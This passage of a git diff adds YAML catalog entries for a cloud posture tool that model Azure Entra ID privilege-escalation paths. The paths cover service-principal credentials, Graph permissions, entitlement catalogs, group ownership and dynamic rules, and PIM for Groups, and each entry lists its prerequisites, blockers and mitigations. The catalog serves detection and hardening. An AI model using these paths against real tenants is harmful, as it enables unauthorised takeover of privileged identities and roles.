When the home application is present, an enabled app instance property lock on verification credentials blocks this path. For external home applications the lock cannot be read from this tenant, so the result remains conditional. + +- id: azure-entraid-sp-owners-update + provider: azure + service: entraid + source_kind: azure_user + title: Make yourself owner of any service principal + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryserviceprincipalsownersupdate + source_revision: 69a9f502d3 + summary: A principal allowed to update service-principal owners can obtain the privileges of any application-type service principal in its scope. + requires: + all_of: + - entra_permission: microsoft.directory/servicePrincipals/owners/update + scope: "{target.scope}" + target: + kind: azure_service_principal + selector: + entra_sp_type_in: [Application] + entra_sp_owner_update_target: true + entra_role_assignment_scope_covers_target: true + scope: tenant + aggregate_as: "Application-type service principals in {scope}" + conditions: + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + blockers: + - sp_lock_configuration_credentials + confidence: conditional + severity: critical + mitigation: Restrict servicePrincipals/owners/update and alert on "Add owner to service principal" events. + references: + - https://learn.microsoft.com/en-us/graph/api/serviceprincipal-post-owners?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/graph/api/serviceprincipal-addpassword?view=graph-rest-1.0 + notes: This is the delegated-user directory-role path; Graph application permissions that can add owners already give application principals a direct credential path. The target must be enabled and not already owned by the source. Adding an owner and then a credential requires delegated Graph authorization. A known home-application credential lock blocks the credential path; an uncollected owner list remains conditional. + +- id: azure-entraid-sp-owner-credentials + provider: azure + service: entraid + title: Service principal owner adds credentials to the owned service principal + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryserviceprincipalsownersupdate + source_revision: 232f075d33 + summary: A registered owner of a service principal can obtain the privileges of that service principal. + requires: + all_of: + - entra_owner_of: "{target.id}" + object_type: servicePrincipal + target: + kind: azure_service_principal + selector: + entra_sp_type_in: [Application] + entra_source_is_owner_of_service_principal: true + scope: tenant + aggregate_as: "Service principals owned by {source}" + conditions: + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + blockers: + - sp_lock_configuration_credentials + confidence: conditional + severity: high + mitigation: Remove non-Tier-0 owners from privileged service principals. + references: + - https://learn.microsoft.com/en-us/graph/api/serviceprincipal-addpassword?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/graph/api/serviceprincipal-list-owners?view=graph-rest-1.0 + notes: Ownership is bound to the exact enabled service principal. An app-only owner requires an enabled Graph application permission including Application.ReadWrite.OwnedBy; a user owner requires delegated Graph authorization. A known home-application credential lock blocks this path. Severity should be raised to critical when the owned service principal holds privileged directory roles or Graph app roles. + +- id: azure-entraid-graph-application-readwrite-all + provider: azure + service: entraid + title: Graph Application.ReadWrite.All adds credentials to tenant applications + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#applicationreadwriteall + source_revision: 171e422 + summary: A service principal holding the Graph Application.ReadWrite.All application permission can add a credential to a tenant-owned application and obtain its service principal's privileges. + requires: + all_of: + - graph_app_permission: Application.ReadWrite.All + target: + kind: azure_service_principal + selector: + entra_sp_type_in: [Application] + entra_graph_application_credential_target: true + scope: tenant + aggregate_as: "Application-type service principals in {scope}" + conditions: + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + - id: sp_lock_configuration_credentials + description: An app instance property lock blocks service-principal-object credentials for foreign apps; tenant-owned application credentials remain a separate route. + - id: app_management_policy + description: Application management policies may restrict credential creation or lifetime on the target application. + blockers: [] + confidence: conditional + severity: critical + mitigation: Replace Application.ReadWrite.All with Application.ReadWrite.OwnedBy or no write permission, and treat apps holding it as Tier 0. + references: + - https://learn.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/graph/permissions-reference + notes: Application.ReadWrite.OwnedBy limits this to objects the calling service principal owns (model via azure-entraid-app-owner-credentials). A foreign application's local service principal may also accept addPassword, but this remains unresolved when the foreign app's instance lock is not observable. + +- id: azure-entraid-graph-approleassignment-readwrite-all + provider: azure + service: entraid + title: Graph AppRoleAssignment.ReadWrite.All self-grants Graph application roles + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#approleassignmentreadwriteall + source_revision: 171e422 + summary: A service principal with Graph app-role assignment and application-read permission can grant itself Graph application permissions and then manage Entra directory role assignments. + requires: + all_of: + - graph_app_permission: AppRoleAssignment.ReadWrite.All + any_of: + - - graph_app_permission: Application.Read.All + - - graph_app_permission: Directory.Read.All + - - graph_app_permission: Application.ReadWrite.All + - - graph_app_permission: Directory.ReadWrite.All + target: + kind: entra_role + selector: + entra_role_assignable: any + entra_graph_self_grant_directory_role: true + scope: tenant + aggregate_as: "Every Entra directory role (via self-granted Graph app roles) in {scope}" + conditions: + - id: new_token_required + description: Newly granted app roles appear only in tokens issued after the assignment. + blockers: + - service_principal_conditional_access_block + confidence: conditional + severity: critical + mitigation: Never grant AppRoleAssignment.ReadWrite.All outside Tier-0 automation; alert on appRoleAssignment creation by service principals. + references: + - https://learn.microsoft.com/en-us/graph/api/serviceprincipal-post-approleassignments?view=graph-rest-1.0 + notes: Microsoft requires application or directory read permission alongside AppRoleAssignment.ReadWrite.All for service-principal app-role assignments. The directory-role reach depends on the Microsoft Graph service principal exposing an enabled RoleManagement.ReadWrite.Directory application role; newly granted app roles only appear in newly issued tokens. + +- id: azure-entraid-agent-blueprint-credentials + provider: azure + service: entraid + title: Add credentials to an Entra Agent ID blueprint and act as its agents + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#entra-agent-id-blueprint-credential-abuse-agentidentityblueprintaddremovecredsall + source_revision: 2ed8c7001d + summary: A principal allowed to add credentials to a specific agent identity blueprint can authenticate as its blueprint principal and may act as its linked child agent identities. + requires: + any_of: + - - graph_app_permission: AgentIdentityBlueprint.AddRemoveCreds.All + - - graph_app_permission: AgentIdentityBlueprint.ReadWrite.All + - - entra_permission: microsoft.directory/agentIdentityBlueprints/credentials/update + - - entra_owner_of: "*" + object_type: application + target: + kind: azure_service_principal + selector: + entra_agent_blueprint_principal_or_child_identity: true + scope: tenant + aggregate_as: "Agent identity blueprint principals and their child agent identities in {scope}" + conditions: + - id: agent_token_exchange + description: Acting as a child agent identity requires a successful blueprint-to-agent token exchange using that child's app ID as fmi_path. Delegated role holders also need an authorized Graph client with the credential-write scope. + blockers: [] + confidence: conditional + severity: high + mitigation: Grant AgentIdentityBlueprint.AddRemoveCreds.All only to dedicated provisioning identities, separate dev/prod blueprints, and alert on addPassword against blueprint applications. + references: + - https://learn.microsoft.com/en-us/entra/agent-id/agent-blueprint + - https://learn.microsoft.com/en-us/entra/agent-id/autonomous-agent-authentication-authorization-flow + notes: Microsoft Graph v1 has a dedicated agentIdentityBlueprint addPassword API. The evaluator joins the exact home-tenant blueprint appId to its blueprint principal and the child agentIdentityBlueprintId, and rechecks directory-role scope or recorded user ownership against the exact blueprint application object. Agent ID Administrator, AI Administrator and Global Administrator may hold the directory permission, but a delegated Graph credential-write scope is still required. Ownership reaches child agents only through the same exact blueprint join. Entra Agent ID remains a newer feature; validate behaviour per tenant. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_governance.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_governance.yaml new file mode 100644 index 0000000000..6893ed9785 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_governance.yaml @@ -0,0 +1,132 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Entra ID Governance (Entitlement Management) techniques. +# Source: hacktricks-cloud az-entra-id-governance-privesc.md, az-persistence/az-entra-id-governance-persistence.md (rev 171e422). +# Catalog roles (Catalog owner, Access package manager, Access package assignment manager) are not Entra directory +# roles. Native collection records entitlement_role_assignment {principalId, roleDefinitionId, appScopeId} +# and entitlement_catalog_resource {catalogId, originId, originSystem, roles}. +# Facts still needed for some entries (not collected yet -> unknown): +# entitlement_assignment_policy {accessPackageId, allowedTargetScope, automaticRequestSettings, specificAllowedTargets}, +# The automatic-assignment and self-grant entries collect exact entitlement_access_package_resource +# {accessPackageId, originId, roleName, catalogId} facts. +# Only resources already in a catalog are reachable: adding a new group or app to a catalog +# needs ownership or write permission on that resource. + +- id: azure-entraid-entitlement-catalog-self-grant-group + provider: azure + service: entraid + title: Catalog-scoped self-grant of a group packaged in a catalog the source manages + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entra-id-governance-privesc.md#catalog-scoped-self-grant-privesc + source_revision: 171e422 + summary: A Catalog owner or Access package manager can package a group already in its catalog behind a no-approval policy (an assignment manager can assign an existing package) and obtain membership or ownership of that group. + source_selector: + source_reaches_kind: azure_user + requires: + all_of: [] + any_of: + - - entra_catalog_role: Catalog owner + catalog: '{target.catalog}' + - - entra_catalog_role: Access package manager + catalog: '{target.catalog}' + - - entra_catalog_role: Access package assignment manager + catalog: '{target.catalog}' + - - graph_app_permission: EntitlementManagement.ReadWrite.All + - - entra_role: Identity Governance Administrator + target: + kind: entra_group + selector: + entra_resource_in_catalog: true + entra_catalog_self_grant_group: true + scope: tenant + aggregate_as: "Groups in Entitlement Management catalogs managed by the source" + conditions: + - id: assignment_manager_existing_packages_only + description: An Access package assignment manager can only assign access packages that already contain the group; it cannot create packages or policies. + - id: governance_license_required + description: Entitlement Management requires Entra ID P2 / ID Governance licensing. + blockers: + - access_package_approval_by_other_principal + confidence: conditional + severity: high + mitigation: Restrict catalog roles and EntitlementManagement.ReadWrite.All, keep role-assignable and app-owning groups out of delegated catalogs, and require approval by another principal on packages that grant privileged groups. + references: + - https://learn.microsoft.com/en-us/entra/id-governance/entitlement-management-delegate + - https://learn.microsoft.com/en-us/graph/api/resources/entitlementmanagement-overview + notes: Grants are logged under EntitlementManagement (Fulfill access package assignment), not as group membership adds. The tenant-wide alternatives (Graph permission, Identity Governance Administrator) reach every group in any catalog. + +- id: azure-entraid-entitlement-catalog-self-grant-role + provider: azure + service: entraid + title: Catalog-scoped self-grant of an Entra role packaged in a catalog the source manages + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entra-id-governance-privesc.md#catalog-scoped-self-grant-privesc + source_revision: 171e422 + summary: A catalog manager can package a Microsoft Entra role already added to its catalog behind a no-approval policy and obtain that role. + source_selector: + source_reaches_kind: azure_user + requires: + all_of: [] + any_of: + - - entra_catalog_role: Catalog owner + catalog: '{target.catalog}' + - - entra_catalog_role: Access package manager + catalog: '{target.catalog}' + - - entra_catalog_role: Access package assignment manager + catalog: '{target.catalog}' + - - graph_app_permission: EntitlementManagement.ReadWrite.All + - - entra_role: Identity Governance Administrator + target: + kind: entra_role + selector: + entra_resource_in_catalog: true + entra_catalog_self_grant_role: true + scope: tenant + aggregate_as: "Entra roles in Entitlement Management catalogs managed by the source" + conditions: + - id: assignment_manager_existing_packages_only + description: An Access package assignment manager can only assign access packages that already contain the role. + - id: role_in_catalog_feature + description: Entra roles as access package resources are only possible where the tenant has added them to a catalog; directory roles cannot be added by a catalog owner without role-management permissions. + blockers: + - access_package_approval_by_other_principal + confidence: conditional + severity: critical + mitigation: Do not add privileged Entra roles to delegated catalogs, and require approval by another principal for packages that grant directory roles. + references: + - https://learn.microsoft.com/en-us/entra/id-governance/entitlement-management-roles + notes: Same catalog-role facts as azure-entraid-entitlement-catalog-self-grant-group. + +- id: azure-entraid-entitlement-auto-assignment-persistence + provider: azure + service: entraid + title: Create an auto-assignment policy that keeps re-granting catalog groups + source: src/pentesting-cloud/azure-security/az-persistence/az-entra-id-governance-persistence.md#auto-assignment-policy-abuse-persistence + source_revision: 9689c125e1 + summary: An Identity Governance Administrator or app with EntitlementManagement.ReadWrite.All can add an automatic-assignment policy to an existing access package that grants a group Member role to a user it controls. + requires: + any_of: + - - graph_app_permission: EntitlementManagement.ReadWrite.All + - - entra_role: Identity Governance Administrator + scope: "/" + source_selector: + source_reaches_kind: azure_user + target: + kind: entra_group + selector: + entra_auto_assignment_package_group: true + scope: tenant + aggregate_as: "Groups granted as members by existing access packages" + conditions: + - id: automatic_assignment_evaluation + description: The tenant needs Identity Governance licensing, a supported rule matching a controlled user, and successful policy evaluation to issue the assignment. + - id: delegated_graph_scope + description: A delegated user needs an app with EntitlementManagement.ReadWrite.All scope to create the policy. + blockers: [] + confidence: conditional + severity: high + mitigation: Alert on automatic-assignment policy creation and review policies whose attribute rules match few or external principals. + references: + - https://learn.microsoft.com/en-us/entra/id-governance/entitlement-management-access-package-auto-assignment-policy + notes: This path uses an existing access package with the target group's Member role, not any group merely present in a catalog. A user source can target itself; an app-only source needs a separately modeled path to a user it controls. Graph app-only permission must be an enabled role on the Microsoft Graph service principal. The policy can reassign access while the user still matches its rule. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_groups.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_groups.yaml new file mode 100644 index 0000000000..fe25138d99 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_groups.yaml @@ -0,0 +1,254 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Entra ID group membership escalation (membership/owner write, group ownership, +# dynamic membership rules and attribute control). +# Source: hacktricks-cloud az-entraid-privesc/README.md, az-entraid-privesc/dynamic-groups.md, +# az-services/az-azuread.md (rev 171e422; all entries re-verified against the page text at that revision). +# +# Target kind entra_group (SCHEMA EXTENSION): obtaining membership of the group, i.e. the +# group's Entra role assignments (role-assignable groups only), Azure RBAC assignments, +# app-role assignments and any other access granted to the group. +# +# Protections encoded in selectors: +# - Role-assignable groups (isAssignableToRole=true) are excluded from the granular +# groups/* permissions and from Group.ReadWrite.All; only Privileged Role Administrator, +# Global Administrator, RoleManagement.ReadWrite.Directory and the group's owners can +# change their membership. They cannot be dynamic and cannot contain groups. +# - Groups in a restricted management AU can only be modified by admins assigned at that +# RMAU scope; owners and tenant-scoped admins (incl. Global Administrator) are blocked +# and Graph application permissions do not apply. + +- id: azure-entraid-group-members-update + provider: azure + service: entraid + title: Add yourself to non-role-assignable groups + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorygroupsmembersupdate + source_revision: 171e422 + summary: An enabled principal with group membership update permission can join a cloud-managed assigned group it does not already belong to, when the group's type and directory scope permit the change. + requires: + any_of: + - - entra_permission: microsoft.directory/groups/members/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/groups/allProperties/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/groups.security/members/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/groups.unified/members/update + scope: "{target.scope}" + target: + kind: entra_group + selector: + entra_group_role_assignable: false + entra_group_membership_type: assigned + entra_group_membership_cloud_writable: true + entra_group_new_self_membership: true + entra_group_type_covered_by_permission: true + entra_role_assignment_scope_covers_target: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Assigned, non-role-assignable groups in {scope}" + conditions: + - id: on_prem_synced_group + description: Membership of groups synchronised from on-premises AD cannot be changed in Entra. + blockers: + - restricted_management_au + confidence: derived + severity: high + mitigation: Do not grant Azure RBAC Owner/User Access Administrator or sensitive app roles to ordinary security groups; use role-assignable groups or restricted management AUs for privileged groups. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/custom-available-permissions + - https://learn.microsoft.com/en-us/graph/api/group-post-members?view=graph-rest-1.0 + notes: groups.security/* covers security groups and groups.unified/* covers Microsoft 365 groups only. Mail-enabled security and distribution groups are excluded. A service principal additionally needs Graph group-write and application-write permissions and cannot join a Microsoft 365 group. Existing direct or nested membership does not grant new access. Groups holding Azure RBAC at subscription/management-group scope can carry the edge into the Azure resource plane. + +- id: azure-entraid-graph-group-readwrite-all + provider: azure + service: entraid + title: Graph group permissions add the calling app to security groups + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#sensitive-graph-permissions + source_revision: 171e422 + summary: A service principal with Graph group-write and application-write permission can add itself to a cloud-managed security group that is not role-assignable or restricted by an administrative unit. + requires: + any_of: + - - graph_app_permission: Group.ReadWrite.All + - - graph_app_permission: GroupMember.ReadWrite.All + - - graph_app_permission: Directory.ReadWrite.All + target: + kind: entra_group + selector: + entra_group_role_assignable: false + entra_group_membership_type: assigned + entra_group_membership_cloud_writable: true + entra_graph_group_sp_membership: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Assigned, non-role-assignable groups in {scope}" + conditions: + - id: on_prem_synced_group + description: Membership of groups synchronised from on-premises AD cannot be changed in Entra. + - id: service_principal_member_needs_application_permission + description: Adding a service principal as a member additionally requires Application.ReadWrite.All or Directory.ReadWrite.All application permission. + blockers: + - restricted_management_au + confidence: derived + severity: high + mitigation: Prefer GroupMember.ReadWrite.All scoped alternatives or resource-specific consent, and keep privileged groups role-assignable or in restricted management AUs. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/groups-concept + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/admin-units-restricted-management#programmability + notes: Microsoft states Group.ReadWrite.All does not work on role-assignable groups (RoleManagement.ReadWrite.Directory is required). Microsoft 365 groups cannot contain service principals, and mail-enabled security groups are read-only in Graph. A separate controlled-user path covers an app that lacks application-write permission but can add a user it controls. + +- id: azure-entraid-graph-group-readwrite-all-controlled-user + provider: azure + service: entraid + title: Graph group permissions add a controlled user to groups + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#sensitive-graph-permissions + source_revision: 171e422 + summary: A service principal with Graph group-write permission can add a user it controls to a cloud-managed security or Microsoft 365 group outside a restricted administrative unit. + source_selector: + source_reaches_kind: azure_user + source_reaches_user_outside_target_group: true + requires: + any_of: + - - graph_app_permission: Group.ReadWrite.All + - - graph_app_permission: GroupMember.ReadWrite.All + - - graph_app_permission: Directory.ReadWrite.All + target: + kind: entra_group + selector: + entra_group_role_assignable: false + entra_group_membership_type: assigned + entra_group_membership_cloud_writable: true + entra_graph_group_user_membership: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Groups that could receive a user controlled by {source}" + conditions: + - id: controlled_user_not_already_member + description: The controlled user must not already have the group's access. + blockers: + - restricted_management_au + confidence: conditional + severity: high + mitigation: Limit Graph group-write grants and protect privileged groups with role-assignable or restricted administrative unit controls. + references: + - https://learn.microsoft.com/en-us/graph/api/group-post-members?view=graph-rest-1.0 + notes: The source-to-user chain is required; group permissions alone do not establish control of a user. + +- id: azure-entraid-group-owners-update + provider: azure + service: entraid + title: Make yourself owner of non-role-assignable groups + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorygroupsownersupdate + source_revision: 171e422 + summary: An enabled principal allowed to add group owners can first make itself an owner, then join a supported assigned group it does not already belong to. + requires: + any_of: + - - entra_permission: microsoft.directory/groups/owners/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/groups.security/owners/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/groups.unified/owners/update + scope: "{target.scope}" + target: + kind: entra_group + selector: + entra_group_role_assignable: false + entra_group_membership_type: assigned + entra_group_membership_cloud_writable: true + entra_group_new_self_membership: true + entra_group_source_not_owner: true + entra_group_type_covered_by_permission: true + entra_role_assignment_scope_covers_target: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Assigned, non-role-assignable groups in {scope}" + conditions: + - id: on_prem_synced_group + description: Membership of groups synchronised from on-premises AD cannot be changed in Entra. + blockers: + - restricted_management_au + confidence: derived + severity: high + mitigation: Restrict groups/owners/update and review owner additions on groups that hold access. + references: + - https://learn.microsoft.com/en-us/graph/api/group-post-owners?view=graph-rest-1.0 + notes: Owner update is useful as a separate escalation route only when the source is not already an owner or member. Group type, source type, exact directory scope and app-only Graph permissions still govern the membership step. Existing owners are handled by azure-entraid-group-owner-membership. + +- id: azure-entraid-group-owner-membership + provider: azure + service: entraid + title: Group owner joins an owned group + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#group-owner-joins-an-owned-group + source_revision: 658a097d5c + summary: An enabled owner can join an assigned group it does not already belong to, including a role-assignable group when its protected membership requirements are met. + requires: + all_of: + - entra_owner_of: "{target.id}" + object_type: group + target: + kind: entra_group + selector: + entra_group_membership_type: assigned + entra_group_membership_cloud_writable: true + entra_group_owner_new_self_membership: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Assigned groups owned by {source}" + conditions: + - id: owner_is_service_principal + description: A service principal owner also needs a usable token with group write ability (e.g. app permission) to exercise ownership via Graph. + - id: on_prem_synced_group + description: Membership of groups synchronised from on-premises AD cannot be changed in Entra. + blockers: + - restricted_management_au + confidence: derived + severity: high + mitigation: Keep owners of role-assignable and privileged groups to Tier-0 administrators only; use PIM for Groups with approval for ownership. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/groups-concept + notes: The owner requirement joins the exact group and source. Microsoft documents delegation of role-assignable group membership management to owners, but Graph requires RoleManagement.ReadWrite.Directory for protected group membership updates. App-only self-membership also needs group-write and application-write permissions. Owners already in the group do not gain new access; restricted management AUs block this path. + +- id: azure-entraid-group-dynamic-rule-update + provider: azure + service: entraid + title: Rewrite a dynamic group's membership rule + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorygroupsdynamicmembershipruleupdate + source_revision: 171e422 + summary: A principal that can update a dynamic group's membership rule can bring an enabled user it controls into that group when the user does not already have its access. + source_selector: + source_reaches_kind: azure_user + source_reaches_user_outside_target_group: true + requires: + any_of: + - - entra_permission: microsoft.directory/groups/dynamicMembershipRule/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/groups/allProperties/update + scope: "{target.scope}" + - - graph_app_permission: Group.ReadWrite.All + - - graph_app_permission: Directory.ReadWrite.All + target: + kind: entra_group + selector: + entra_group_role_assignable: false + entra_group_membership_type: dynamic + entra_group_membership_cloud_writable: true + entra_role_assignment_scope_covers_target: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Dynamic groups in {scope}" + conditions: + - id: dynamic_processing_delay + description: Membership is applied asynchronously by the dynamic membership processor; processing may be paused. + - id: license + description: Dynamic user membership requires Entra ID P1 licensing. + blockers: + - restricted_management_au + confidence: conditional + severity: high + mitigation: Restrict dynamicMembershipRule update and avoid granting Azure RBAC or sensitive app roles to dynamic groups. + references: + - https://learn.microsoft.com/en-us/graph/api/group-update?view=graph-rest-1.0 + notes: Dynamic groups admit users or devices, not service principals. The source must be an enabled user outside the group or have a separately evidenced path to control one; that user can be selected with a user.objectId membership rule. Role-assignable groups cannot be dynamic, so directory roles are never reached directly; the gain is the group's Azure RBAC or app access. Graph application group-write permissions may update membershipRule outside restricted management AUs; membership processing and licensing remain conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_pim.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_pim.yaml new file mode 100644 index 0000000000..db73ef1c1b --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_pim.yaml @@ -0,0 +1,131 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Entra ID PIM for Groups escalation through the Microsoft Graph application plane. +# Source: hacktricks-cloud az-pim-privesc.md, az-entraid-privesc/README.md (rev 171e422). +# +# Target kind entra_group: obtaining membership of the group (its Entra role assignments if +# role-assignable, Azure RBAC assignments, app-role assignments and other access). +# Facts checked against Microsoft docs (2026-10): +# - privilegedAccessGroup assignmentScheduleRequests / eligibilityScheduleRequests: least +# privileged application permissions are PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup +# and PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup. The Entra-role restriction for +# role-assignable groups (Privileged Role Administrator) is documented for delegated access only. +# - Any security or Microsoft 365 group can be governed by PIM for Groups except dynamic +# membership groups and groups synchronised from on-premises (concept-pim-for-groups). +# - PIM for Groups policies have no default approvers; approvers cannot approve their own +# activation and service principals cannot approve (pim-approval-workflow). + +- id: azure-entraid-graph-pim-groups-active-assignment + provider: azure + service: entraid + title: Graph PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup grants active group membership + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#pim-for-groups-the-sneaky-path + source_revision: 171e422 + summary: A service principal holding PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup can assign itself time-limited active membership in a cloud security group and obtain that group's privileges, including roles held by a role-assignable group. + requires: + all_of: + - graph_app_permission: PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup + target: + kind: entra_group + selector: + entra_group_membership_type: assigned + entra_group_membership_cloud_writable: true + entra_pim_active_sp_membership: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Assigned groups (incl. role-assignable) in {scope}" + conditions: + - id: on_prem_synced_group + description: Groups synchronised from on-premises AD cannot be governed by PIM for Groups. + - id: service_principal_active_assignment + description: A service principal can receive a time-limited active PIM for Groups membership assignment, but it cannot receive an eligible assignment. + - id: pim_assignment_policy + description: The group's PIM assignment policy (e.g. maximum active duration, permanent active assignment disallowed) bounds the assignment; it does not require approval for admin-created assignments. + blockers: + - restricted_management_au + - service_principal_conditional_access_block + confidence: conditional + severity: critical + mitigation: Treat PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup as Tier 0, remove it from non-governance applications and alert on PIM for Groups assignments created by service principals. + references: + - https://learn.microsoft.com/en-us/graph/api/privilegedaccessgroup-post-assignmentschedulerequests?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedassignmentschedulereadwriteazureadgroup + - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/concept-pim-for-groups + - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-deployment-plan + notes: Unlike Group.ReadWrite.All / GroupMember.ReadWrite.All this path is not limited to non-role-assignable groups, so a role-assignable group holding Global Administrator is reachable. Ownership assignments (accessId owner) reach the same target set. + +- id: azure-entraid-graph-pim-groups-eligibility + provider: azure + service: entraid + title: Graph PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup creates self-activatable group eligibility + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#other-high-impact-microsoft-graph-permissions-directoryreadwriteall-groupmemberreadwriteall-synchronizationreadwriteall-privilegedeligibilityschedulereadwriteazureadgroup + source_revision: 171e422 + summary: A service principal holding PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup can make a user it controls eligible for membership of a cloud-managed group, which that user can activate if the group's policy permits it. + source_selector: + source_reaches_kind: azure_user + source_reaches_user_outside_target_group: true + requires: + all_of: + - graph_app_permission: PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup + target: + kind: entra_group + selector: + entra_group_membership_type: assigned + entra_group_membership_cloud_writable: true + entra_pim_controlled_user_eligibility: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Assigned groups (incl. role-assignable) in {scope}" + conditions: + - id: on_prem_synced_group + description: Groups synchronised from on-premises AD cannot be governed by PIM for Groups. + - id: source_controls_user + description: A separate, attributable path must reach an enabled user outside the target group, because a service principal cannot activate an eligible PIM for Groups assignment. + - id: pim_activation_requirements + description: Activation may require MFA, a Conditional Access authentication context, justification or ticket information. + blockers: + - pim_approval_required_by_other_principal + - restricted_management_au + - service_principal_conditional_access_block + confidence: conditional + severity: high + mitigation: Require approval for membership activation of privileged groups, treat PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup as Tier 0 and review PIM for Groups eligibility with access reviews. + references: + - https://learn.microsoft.com/en-us/graph/api/privilegedaccessgroup-post-eligibilityschedulerequests?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedeligibilityschedulereadwriteazureadgroup + - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/groups-role-settings + notes: Severity should be raised to critical by the evaluator when the group is role-assignable and holds a privileged directory role. Holders of RoleManagementPolicy.ReadWrite.AzureADGroup can remove the approval requirement (enabler, not a separate edge). + +- id: azure-entraid-pim-group-eligible-activation + provider: azure + service: entraid + title: Activate an eligible PIM for Groups membership or ownership + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#pim-for-groups-the-sneaky-path + source_revision: 171e422 + summary: An enabled user with current PIM for Groups eligibility may activate new group membership, or activate ownership and then join the group, when the matching policy does not require another person's approval. + requires: + all_of: [] + source_kind: azure_user + target: + kind: entra_group + selector: + entra_pim_group_eligible_for_source: true + entra_group_membership_type: assigned + entra_group_membership_cloud_writable: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "PIM for Groups eligibilities of the source" + conditions: + - id: pim_activation_required + description: The eligibility must be activated (MFA, justification or ticket as the group's PIM policy requires) before the grants apply. + blockers: + - restricted_management_au + confidence: conditional + severity: critical + mitigation: Require approval for activation of privileged PIM-governed groups, keep eligibilities minimal, and review eligibilities on role-assignable groups. + references: + - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/concept-pim-for-groups + notes: The collector reads per-group eligibility schedules and current instances, plus separate member and owner activation policies. The 